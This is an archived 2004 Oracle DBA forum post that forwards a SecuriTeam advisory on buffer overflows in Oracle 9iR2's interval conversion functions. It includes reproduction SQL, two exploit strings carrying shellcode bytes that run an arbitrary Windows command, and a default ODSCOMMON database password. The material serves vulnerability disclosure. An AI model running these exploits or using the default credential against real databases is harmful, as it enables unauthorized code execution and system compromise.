Links
Home
Oracle DBA Forum
Frequent Oracle Errors
TNS:could not resolve the connect identifier specified
Backtrace message unwound by exceptions
invalid identifier
PL/SQL compilation error
internal error
missing expression
table or view does not exist
end-of-file on communication channel
TNS:listener unknown in connect descriptor
insufficient privileges
PL/SQL: numeric or value error string
TNS:protocol adapter error
ORACLE not available
target host or object does not exist
invalid number
unable to allocate string bytes of shared memory
resource busy and acquire with NOWAIT specified
error occurred at recursive SQL level string
ORACLE initialization or shutdown in progress
archiver error. Connect internal only, until freed
snapshot too old
unable to extend temp segment by string in tablespace
Credential retrieval failed
missing or invalid option
invalid username/password; logon denied
unable to create INITIAL extent for segment
out of process memory when trying to allocate string bytes
shared memory realm does not exist
cannot insert NULL
TNS:unable to connect to destination
remote database not found'>ora-02019
exception encountered: core dump
inconsistent datatypes
no data found
TNS:operation timed out
PL/SQL: could not find program
existing state of packages has been discarded
maximum number of processes exceeded
error signaled in parallel query server
ORACLE instance terminated. Disconnection forced
TNS:packet writer failure
see ORA-12699
missing right parenthesis
name is already used by an existing object
cannot identify/lock data file
invalid file operation
quoted string not properly terminated
Oracle Database 9ir2 Interval Conversion Buffer Overflow

Oracle Database 9ir2 Interval Conversion Buffer Overflow

2004-02-26       - By Jared.Still@(protected)

Reply:     1     2     3     4     5     6     7     8     9     10  

Has anyone here heard of this?

First I 've seen it. Could not get the exploit to work on 8i or 9i,
haven 't tried 10g.

It does however cause an ORA-3113 (See ORA-3113.ora-code.com).

Jared

=================================

The following security advisory is sent to the securiteam mailing list,
and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


- - - - - - - - -
Oracle Database 9ir2 Interval Conversion Buffer Overflow
Oracle Database Server is one of the most used database servers in the
world, it was marketed as being unbreakable and many people thinks that is
one of the most secure database server in the market.

Oracle Database Server provides two functions that can be used with PL/SQL
to convert numbers to date/time intervals, these functions have buffer
overflow vulnerabilities.
Vulnerable Systems:
* Oracle Database version 9ir2 and prior

When any of these conversion functions are called with a long string as a
second parameter a buffer overflow occurs.

To reproduce the overflow execute the next PL/SQL:
SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from dual;
SELECT NUMTODSINTERVAL(1, 'longstringhere ') from dual;

Any Oracle Database user can exploit this vulnerability because access to
these functions can 't be restricted. Exploitation of this vulnerability
allow an attacker to execute arbitrary code, also it can be exploited to
cause DOS (Denial of service) killing Oracle server process. An attacker
can complete compromise the OS and database if Oracle is running on
Windows platform, because Oracle must run under the local System account
or under an administrative account. If Oracle is running on *nix then only
the database could be compromised because Oracle runs mostly under oracle
user which has restricted permissions.

Important: Exploitation of these vulnerabilities becomes easy if Oracle Internet
Directory has been deployed, because Oracle Internet Directory creates a
database user called ODSCOMMON that has a default password ODSCOMMON, this
password can not be changed, so any attacker can use this user to connect
to database and exploit these vulnerabilities.

Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server and
Linux confirm these vulnerabilities. Versions running in other OS
platforms are believed to be affected too. Previous Oracle Database Server
versions could be affected by these vulnerabilities.

Exploits:
-- These exploits should work on Windows 2000 Server and Windows XP, not
tested on Windows 2003.
-- Run any command at the end of the string
SELECT
NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35)
|| chr(148) || chr(01) || chr(255) || chr(37) || chr(172) || chr(33) ||
chr(148) || chr(01) || chr(32)|| 'echo ARE YOU SURE? >c:\Unbreakable.txt ')
?FROM DUAL;

SELECT
NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35)
|| chr(148) || chr(01) || chr(255) || chr(37) || chr(172) || chr(33) ||
chr(148) || chr(01) || chr(32) || 'echo ARE YOU SURE?
>c:\Unbreakable.txt ') ?

FROM DUAL;

Vendor Fix:
Go to Oracle Metalink site, http://metalink.oracle.com.

Vendor Contact:
Oracle was contacted and they released a fix without telling the public
nor Ceaser anything and without issuing an alert.
Additional Information:
The information has been provided by Cesar.
================================================================================





This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and
body to: html-list-unsubscribe@(protected)
In order to subscribe to the mailing list and receive advisories in HTML
format, simply forward this email to: html-list-subscribe@(protected)

================================================================================

================================================================================

DISCLAIMER:
The information in this bulletin is provided "AS IS " without warranty of
any kind.
In no event shall we be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages.







<br > <font size=2 face= "sans-serif " >Has anyone here heard of this? </font >
<br >
<br > <font size=2 face= "sans-serif " >First I 've seen it.  Could not get the exploit to work on 8i or 9i, haven 't tried 10g. </font >
<br >
<br > <font size=2 face= "sans-serif " >It does however cause an ORA-3113 (See ORA-3113.ora-code.com). </font >
<br >
<br > <font size=2 face= "sans-serif " >Jared </font >
<br >
<br > <font size=2 face= "sans-serif " >================================= </font >
<br >
<br > <font size=3 face= "Times New Roman " >The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: </font > <a href=http://www.securiteam.com/ > <font size=3 color=blue face= "Times New Roman " > <u >http://www.securiteam.com </u > </font > </a > <font size=3 face= "Times New Roman " > </font >
<p > <font size=3 face= "Times New Roman " >- - promotion <br >
<br >
The SecuriTeam alerts list - Free, Accurate, Independent. <br >
<br >
Get your security news from a reliable source. </font > <font size=3 color=blue face= "Times New Roman " > <u > <br >
</u > </font > <a href=http://www.securiteam.com/mailinglist.html > <font size=3 color=blue face= "Times New Roman " > <u >http://www.securiteam.com/mailinglist.html </u > </font > </a > <font size=3 face= "Times New Roman " > <br >
<br >
<br >
- - - - - - - - - </font >
<p > <font size=6 face= "Times New Roman " > <b >Oracle Database 9ir2 Interval Conversion Buffer Overflow </b > </font >
<p > <font size=3 face= "Times New Roman " >Oracle Database Server is one of the most used database servers in the world, it was marketed as being unbreakable and many people thinks that is one of the most secure database server in the market. <br >
<br >
Oracle Database Server provides two functions that can be used with PL/SQL to convert numbers to date/time intervals, these functions have buffer overflow vulnerabilities. </font >
<p > <font size=3 face= "Times New Roman " > <b >Vulnerable Systems: </b > <br >
* Oracle Database version 9ir2 and prior <br >
<br >
When any of these conversion functions are called with a long string as a second parameter a buffer overflow occurs. <br >
<br >
To reproduce the overflow execute the next PL/SQL: <i > <br >
SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from dual; <br >
SELECT NUMTODSINTERVAL(1, 'longstringhere ') from dual; </i > <br >
<br >
Any Oracle Database user can exploit this vulnerability because access to these functions can 't be restricted. Exploitation of this vulnerability allow an attacker to execute arbitrary code, also it can be exploited to cause DOS (Denial of service) killing Oracle server process. An attacker can complete compromise the OS and database if Oracle is running on Windows platform, because Oracle must run under the local System account or under an administrative account. If Oracle is running on *nix then only the database could be compromised because Oracle runs mostly under oracle user which has restricted permissions. <br >
<b > <br >
Important: </b > Exploitation of these vulnerabilities becomes easy if Oracle Internet Directory has been deployed, because Oracle Internet Directory creates a database user called ODSCOMMON that has a default password ODSCOMMON, this password can not be changed, so any attacker can use this user to connect to database and exploit these vulnerabilities. <br >
<br >
Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server and Linux confirm these vulnerabilities. Versions running in other OS platforms are believed to be affected too. Previous Oracle Database Server versions could be affected by these vulnerabilities. <br >
<b > <br >
Exploits: </b > <br >
-- These exploits should work on Windows 2000 Server and Windows XP, not tested on Windows 2003. <br >
-- Run any command at the end of the string <br >
SELECT NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' || chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01) || chr(32)|| 'echo ARE YOU SURE? >c:\Unbreakable.txt ') ?FROM DUAL; <br >
<br >
SELECT NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' || chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01) || chr(32) || 'echo ARE YOU SURE? >c:\Unbreakable.txt ') ? <br >
<br >
FROM DUAL; </font >
<br > <font size=3 face= "Times New Roman " > <b > <br >
Vendor Fix: </b > <br >
Go to Oracle Metalink site, </font > <a href=http://metalink.oracle.com/ > <font size=3 color=blue face= "Times New Roman " > <u >http://metalink.oracle.com </u > </font > </a > <font size=3 face= "Times New Roman " >. <br >
<b > <br >
Vendor Contact: </b > <br >
Oracle was contacted and they released a fix without telling the public nor Ceaser anything and without issuing an alert. </font >
<p > <font size=3 face= "Times New Roman " > <b > <u >Additional Information: </u > </b > <br >
The information has been provided by </font > <a href=mailto:cesarc56@(protected) > <font size=3 color=blue face= "Times New Roman " > <u >Cesar </u > </font > </a > <font size=3 face= "Times New Roman " >. </font >
<p > <font size=3 face= "Times New Roman " >================================================================================ </font >
<p > <font size=3 face= "Times New Roman " > <br >
<br >
<br >
<br >
This bulletin is sent to members of the SecuriTeam mailing list. <br >
To unsubscribe from the list, send mail with an empty subject line and body to: </font > <a href= "mailto:html-list-unsubscribe@(protected) " > <font size=3 color=blue face= "Times New Roman " > <u >html-list-unsubscribe@(protected) </u > </font > </a > <font size=3 face= "Times New Roman " > <br >
In order to subscribe to the mailing list and receive advisories in HTML format, simply forward this email to: </font > <a href= "mailto:html-list-subscribe@(protected) " > <font size=3 color=blue face= "Times New Roman " > <u >html-list-subscribe@(protected) </u > </font > </a > <font size=3 face= "Times New Roman " > <br >
</font >
<p > <font size=3 face= "Times New Roman " >================================================================================ <br >
================================================================================ </font >
<p > <font size=3 face= "Times New Roman " >DISCLAIMER: <br >
The information in this bulletin is provided "AS IS" without warranty of any kind. <br >
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. <br >
<br >
<br >
<br >
</font >
<p >
<p >